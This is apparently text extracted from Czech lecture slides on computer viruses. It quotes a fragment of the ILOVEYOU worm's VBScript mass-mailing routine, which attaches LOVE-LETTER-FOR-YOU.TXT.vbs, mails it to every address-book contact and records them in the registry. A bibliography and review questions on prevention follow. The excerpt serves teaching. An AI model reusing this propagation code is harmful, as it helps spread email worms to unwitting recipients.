Počítačový virus ILove. You 81 if (regad="") then … dokončení set male=out. Create. Item(0) male. Recipients. Add(malead) male. Subject = "ILOVEYOU" male. Body = vbcrlf&"kindly check the attached LOVELETTER coming from me. " male. Attachments. Add(dirsystem&"LOVE-LETTER-FOR-YOU. TXT. vbs") male. Send regedit. Reg. Write "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead, 1, "REG_DWORD" end if x=x+1 next regedit. Reg. Write "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a, a. Address. Entries. Count else regedit. Reg. Write "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a, a. Address. Entries. Count end if next Set out=Nothing Set mapi=Nothing end sub
Literatura 82 • http: //www. viry. cz • Mrnuštík, J. : Viry 98 včetně makrovirů a antivirové ochrany sítí. Grada Publishing, Praha 1998. • Klander, L. : Hacker Proof. Unis Publishing, Brno 1998.
Kontrolní otázky Srovnejte virus počítačový s virem biologickým. Uveďte projevy počítačových virů. Mohou současné počítačové viry poškodit technické vybavení počítače? Zůstane virus uložen v operační paměti počítače i po jeho vypnutí? Zůstane virus uložen na pevném disku počítače i po jeho vypnutí? Uveďte způsoby prevence proti počítačovým virům. Uveďte klasifikaci počítačových virů podle napadených oblastí. Uveďte jednotlivé typy infiltrací počítačového systému a stručně je charakterizujte. 83
Kontrolní otázky 84 K čemu slouží antivirové programy? Jakým způsobem se šíří počítačové viry? Proč se z hlediska prevence proti počítačovým virům doporučuje změnit bootovací sekvenci na C: , A: ? Proti jakým virům se tímto způsobem můžeme ubránit? Proč se z hlediska prevence proti počítačovým virům doporučuje vypnout podporu WSH? Proti jakým virům se tímto způsobem můžeme ubránit? V čem spočívá činnost makrovirů? Může se virus ILove. You (Love Letter) šířit v prostředí operačního systému MS-DOS nebo UNIX? Je pravda, že se formátováním pevného disku vždy odstraní všechny počítačové viry na něm uložené? V čem spočívá nebezpečí virů přepisujících Flash-BIOS?
- Slides: 84